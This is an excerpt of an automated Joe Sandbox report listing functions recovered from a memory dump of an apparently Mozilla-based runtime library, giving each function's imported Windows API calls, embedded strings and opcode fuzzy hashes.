Opcode Fuzzy Hash: 0dd5b5c6a5f2a2fd55f6c8fb3a419b8a608b444d900cfd1c69ca13055d01cc97
Instruction Fuzzy Hash: A0014B70B09381CBDF508FEAE854A4233B5EFAEB1CF20552AD90182B40EB33E4448A65

Function 6C9A05F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C99CFAE,?,?,?,6C9631A7), ref: 6C9A05FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C99CFAE,?,?,?,6C9631A7), ref: 6C9A0616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C9631A7), ref: 6C9A061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C9631A7), ref: 6C9A0627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C9A061B, 6C9A0625
<jemalloc>, xrefs: 6C9A05FA, 6C9A060F

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 63580b97ba554b4e736c35958c7987b049da0421afda296d895078f98f1c07d4
Instruction ID: a38da1d309b1533c4685862c5a026f5d961b099aec86a31da728e9b2e11d8add
Opcode Fuzzy Hash: 63580b97ba554b4e736c35958c7987b049da0421afda296d895078f98f1c07d4
Instruction Fuzzy Hash: A7E08CE2A0111037F6142296AC86DBBB71CDBEA134F090039FD0D92701E94AFD1A52F6

Function 6C9705F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 212d9bbaa43b503b91853b73b553c92d5bfa7a1cfbba9234424a45246e1306a7
Instruction ID: 25e7542d1f47cc95e41a58ec81640489b08a0e7094f512fe028eb2741d4b8e12
Opcode Fuzzy Hash: 212d9bbaa43b503b91853b73b553c92d5bfa7a1cfbba9234424a45246e1306a7
Instruction Fuzzy Hash: 11A158B0A05705CFDB24CF29C994A99FBF5BF59304F1486AED44A97B00E731A945CFA0

Function 6C9C14A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9C14C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9C14E2
GetCurrentThreadId.KERNEL32 ref: 6C9C1546
InitializeConditionVariable.KERNEL32(?), ref: 6C9C15BA
free.MOZGLUE(?), ref: 6C9C16B4

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 6df77ac436fef85cd87c91b40858f1121ce221d569c2ce2cf1e92143b90c5a65
Instruction ID: b7ddb7610c04cd1dd296049144f7fc88b74621e4345d0fe11369e7d7c606cb7f
Opcode Fuzzy Hash: 6df77ac436fef85cd87c91b40858f1121ce221d569c2ce2cf1e92143b90c5a65
Instruction Fuzzy Hash: D961E271A047409BDB11CF20C880BDEB7B8BFAA308F44851CED8A67711DB31E959CB96

Function 6C9B9F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9B9FDB
free.MOZGLUE(?,?), ref: 6C9B9FF0
free.MOZGLUE(?,?), ref: 6C9BA006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9BA0BE
free.MOZGLUE(?,?), ref: 6C9BA0D5
free.MOZGLUE(?,?), ref: 6C9BA0EB

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: acd5921a4f095752639b4424e4839b5adc42aac1a8b813739dc33195030f9f94
Instruction ID: ecde012a48f83f510aedcc496e44155f46f8d42b30e62f4fa8a7f7c302b9d0ea
Opcode Fuzzy Hash: acd5921a4f095752639b4424e4839b5adc42aac1a8b813739dc33195030f9f94
Instruction Fuzzy Hash: DD61B075409601EFD711CF18C48059AB3F5FFA8328F54865DE899AB702EB32E986CBD1

Function 6C9BDC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9BDC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C9BD38A,?), ref: 6C9BDC6F
free.MOZGLUE(?,?,?,?,?,6C9BD38A,?), ref: 6C9BDCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C9BD38A,?), ref: 6C9BDCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C9BD38A,?), ref: 6C9BDD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C9BD38A,?), ref: 6C9BDD4A

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: ecfffbfa313c3119c73eeb325b9484e013549dd20b99b9b7262b79afb88f6f98
Instruction ID: bda830ba8e9d07c23ddbb99ef156ffab56e8241b9105d3147a1d6a04f98b4e7a
Opcode Fuzzy Hash: ecfffbfa313c3119c73eeb325b9484e013549dd20b99b9b7262b79afb88f6f98
Instruction Fuzzy Hash: 7E417AB6A00605DFCB00CF99C88099BB7F9FF98314B254569D946ABB14D731FC04CB90

Function 6C9A6590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C99FA80: GetCurrentThreadId.KERNEL32 ref: 6C99FA8D
Part of subcall function 6C99FA80: AcquireSRWLockExclusive.KERNEL32(6C9EF448), ref: 6C99FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9A6727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C9A67C8

Part of subcall function 6C9B4290: memcpy.VCRUNTIME140(?,?,6C9C2003,6C9C0AD9,?,6C9C0AD9,00000000,?,6C9C0AD9,?,00000004,?,6C9C1A62,?,6C9C2003,?), ref: 6C9B42C4

Strings

data, xrefs: 6C9A6593

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: 0ed58ec16937e4c8d389af97f2a2458db7abb2c9545fe2fd21312623da1fa46f
Instruction ID: 27cf290558b4b556e66a7ab402e139e226f6ca5b24cf264ed304f6a24c42e796
Opcode Fuzzy Hash: 0ed58ec16937e4c8d389af97f2a2458db7abb2c9545fe2fd21312623da1fa46f
Instruction Fuzzy Hash: 21D1CFB5A093409FD724CF68C840B9FB7E5AFE5308F14892DE18997B51DB30E94ACB52

Function 6C9BC810 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C9BC82D
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C9BC842

Part of subcall function 6C9BCAF0: ?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(00000000,00000000,?,6C9DB5EB,00000000), ref: 6C9BCB12

?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000), ref: 6C9BC863
std::_Facet_Register.LIBCPMT ref: 6C9BC875

Part of subcall function 6C99B13D: ??_U@YAPAXI@Z.MOZGLUE(00000008,?,?,6C9DB636,?), ref: 6C99B143

??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C9BC89A
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9BC8BC

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Facet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 2745304114-0
Opcode ID: f14278452ac75d6b480271c79164f3578cad342ecba4a36db2dd3bd3099fa406
Instruction ID: 6e29acee6d39ceda362bea6af0e471b8215f832c35521ce6ad83c8b21b797bf6
Opcode Fuzzy Hash: f14278452ac75d6b480271c79164f3578cad342ecba4a36db2dd3bd3099fa406
Instruction Fuzzy Hash: 1F11B671B043099BCB00EFA4D8C98AF7B78EFAD354B240129E606A7340DB30DD44CBA5

Function 6C99D5D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C96EB57,?,?,?,?,?,?,?,?,?), ref: 6C99D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C96EB57,?), ref: 6C99D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C96EB57,?), ref: 6C99D673
free.MOZGLUE(?), ref: 6C99D888

Strings

|Enabled, xrefs: 6C99D81E

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled
API String ID: 4142949111-2633303760
Opcode ID: 3dd7aeb42162e3b76c07d41746f3cda3fd2692c32bee23c7cc04d78285dd1d8d
Instruction ID: b8af270e45bdffee28c4378cb8aefa02d6772f6bfeb40123ad225c5741cf5aeb
Opcode Fuzzy Hash: 3dd7aeb42162e3b76c07d41746f3cda3fd2692c32bee23c7cc04d78285dd1d8d
Instruction Fuzzy Hash: 02A126B1A043089FDB11CF69C4D07AEBBF5AF69318F18805DD8896B742D735E845CBA1

Function 6C99F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C99F480

Part of subcall function 6C96F100: LoadLibraryW.KERNEL32(shell32,?,6C9DD020), ref: 6C96F122
Part of subcall function 6C96F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C96F132

CloseHandle.KERNEL32(00000000), ref: 6C99F555

Part of subcall function 6C9714B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C971248,6C971248,?), ref: 6C9714C9
Part of subcall function 6C9714B0: memcpy.VCRUNTIME140(?,6C971248,00000000,?,6C971248,?), ref: 6C9714EF

Part of subcall function 6C96EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C96EEE3

CreateFileW.KERNEL32 ref: 6C99F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C99F523

Strings

\oleacc.dll, xrefs: 6C99F4CB

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: f0809039aa98b8bffe352b9896b2b53eb318512f8ff30fa16e5195ad00bbadcc
Instruction ID: 8c5bd9dcc1ca1ec3e83013aad948de609b8527faf0f8bff0275acd0e163c9e48
Opcode Fuzzy Hash: f0809039aa98b8bffe352b9896b2b53eb318512f8ff30fa16e5195ad00bbadcc
Instruction Fuzzy Hash: 3E41B4706087109FE720DF69C844BAAF7F8AF5931CF504A1CF59593650EB30D989CB92

Function 6C9C74A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C9C7526
__Init_thread_footer.LIBCMT ref: 6C9C7566
__Init_thread_footer.LIBCMT ref: 6C9C7597

Strings

kernel32.dll, xrefs: 6C9C7557
UnmapViewOfFile2, xrefs: 6C9C7552

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 78bd69e6cc9de08f997953425cbadece11e702694828791c726ffa96284de28e
Instruction ID: b34dbb61f3bb58296828123f3a262f23145ddabcd0c8eb0e865547f2a73f8be7
Opcode Fuzzy Hash: 78bd69e6cc9de08f997953425cbadece11e702694828791c726ffa96284de28e
Instruction Fuzzy Hash: A2213731B06500A7DF158FEAE814E49337AEFBFB28F24452AD50547F40CB32E94586A7

Function 6C9CA7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9EF770,-00000001,?,6C9DE330,?,6C98BDF7), ref: 6C9CA7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C98BDF7), ref: 6C9CA7C2
moz_xmalloc.MOZGLUE(00000018,?,6C98BDF7), ref: 6C9CA7E4
LeaveCriticalSection.KERNEL32(6C9EF770), ref: 6C9CA80A

Strings

accelerator.dll, xrefs: 6C9CA7BF

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: 60cc50df80690b318ac39aea4f9646e067afb012444b255b9fbcf96ded9a99a7
Instruction ID: 4bf3bc28bd92b3789a2120d5ad3a449bcb9dd41ed873b4e5ad4ac0139de51f16
Opcode Fuzzy Hash: 60cc50df80690b318ac39aea4f9646e067afb012444b255b9fbcf96ded9a99a7
Instruction Fuzzy Hash: 98017C707043049FDB448F96E884C2177B8FFA9B59715806AE8098B741DB71E800CBA2

Function 6C96F0A0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ole32,?,6C96EE51,?), ref: 6C96F0B2
GetProcAddress.KERNEL32(00000000,CoTaskMemFree), ref: 6C96F0C2

Strings

Could not load ole32 - will not free with CoTaskMemFree, xrefs: 6C96F0DC
ole32, xrefs: 6C96F0AD
Could not find CoTaskMemFree, xrefs: 6C96F0E3

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Could not find CoTaskMemFree$Could not load ole32 - will not free with CoTaskMemFree$ole32
API String ID: 2574300362-1578401391
Opcode ID: 6c386ed7649f0acf1d4567884e2be534ce50e18ec6d4a724cc58575a3854c6ed
Instruction ID: e5191b5302369395f11c9256288a5f5636944168439595698dd95ff82df3e1c5
Opcode Fuzzy Hash: 6c386ed7649f0acf1d4567884e2be534ce50e18ec6d4a724cc58575a3854c6ed
Instruction Fuzzy Hash: 96E0DF7134C305DBBF541B63AC09B2637BC6FBF60D324802EE512C1F95EA20D010C66A

Function 6C9A0080 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C977204), ref: 6C9A0088
GetProcAddress.KERNEL32(00000000,CryptCATAdminAcquireContext2), ref: 6C9A00A7
FreeLibrary.KERNEL32(?,6C977204), ref: 6C9A00BE

Strings

CryptCATAdminAcquireContext2, xrefs: 6C9A00A1
wintrust.dll, xrefs: 6C9A0083

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminAcquireContext2$wintrust.dll
API String ID: 145871493-3385133079
Opcode ID: f1af009ecd04ba6e6efd1e786ca5e6f13e16373f15eeb597c51f83f44c9427c9
Instruction ID: 6fced4a158f11db58b59a0793fa93da84f9301a263f61e9020566c42ba49b7a9
Opcode Fuzzy Hash: f1af009ecd04ba6e6efd1e786ca5e6f13e16373f15eeb597c51f83f44c9427c9
Instruction Fuzzy Hash: A2E01270608340ABEF80AFA6A8087023AF8AF6F348F60406AA912C2690DBB4C000CF55

Function 6C9A00D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C977235), ref: 6C9A00D8
GetProcAddress.KERNEL32(00000000,CryptCATAdminCalcHashFromFileHandle2), ref: 6C9A00F7
FreeLibrary.KERNEL32(?,6C977235), ref: 6C9A010E

Strings

CryptCATAdminCalcHashFromFileHandle2, xrefs: 6C9A00F1
wintrust.dll, xrefs: 6C9A00D3

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminCalcHashFromFileHandle2$wintrust.dll
API String ID: 145871493-2559046807
Opcode ID: 05b26c0f71cace539d614dbd5c3fb8dc160b54f8cd1d22ed105a81019b6d3b9a
Instruction ID: 37286910a3a8301dae7431877015268789472c8fc5b906e8427d5c699eb039fc
Opcode Fuzzy Hash: 05b26c0f71cace539d614dbd5c3fb8dc160b54f8cd1d22ed105a81019b6d3b9a
Instruction Fuzzy Hash: 54E04F7060D3459BEF805FA5E90A7613AFCEF2F208F70906AAA0F81A00D770C150CB50

Function 6C9CC410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C9CC0E9), ref: 6C9CC418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C9CC437
FreeLibrary.KERNEL32(?,6C9CC0E9), ref: 6C9CC44C

Strings

NtQueryVirtualMemory, xrefs: 6C9CC431
ntdll.dll, xrefs: 6C9CC413

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: b5216fae2a2ddbfcf51b0287a398eb430e31cd29c6f2a9eebf5006af68470c28
Instruction ID: 8de510b7b099d4d3b1600f066ff9f9d8f0ef04224f423a890e86a7c329baae20
Opcode Fuzzy Hash: b5216fae2a2ddbfcf51b0287a398eb430e31cd29c6f2a9eebf5006af68470c28
Instruction Fuzzy Hash: B9E0BF707093019BDF80BF71D9197117FF8AF6E20CF20919BAA06D1691DB74D4008B55

Function 6C9C75B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C9C748B,?), ref: 6C9C75B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C9C75D7
FreeLibrary.KERNEL32(?,6C9C748B,?), ref: 6C9C75EC

Strings

RtlNtStatusToDosError, xrefs: 6C9C75D1
ntdll.dll, xrefs: 6C9C75B3

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 95bdfbab46e4575ef00fd30b4a770e0da2cd37c4057cbab5642d4f3a4cfb0352
Instruction ID: bc68222c2a64df2fe013f30f43062b9311f633d8f8ace1ced19a7669815b4a71
Opcode Fuzzy Hash: 95bdfbab46e4575ef00fd30b4a770e0da2cd37c4057cbab5642d4f3a4cfb0352
Instruction Fuzzy Hash: D3E04F70309301ABDF805FA3D8487053AF8EF6E64CF30442AA900C1602DB72C205CF45

Function 6C9C7600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C9C7592), ref: 6C9C7608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C9C7627
FreeLibrary.KERNEL32(?,6C9C7592), ref: 6C9C763C

Strings

NtUnmapViewOfSection, xrefs: 6C9C7621
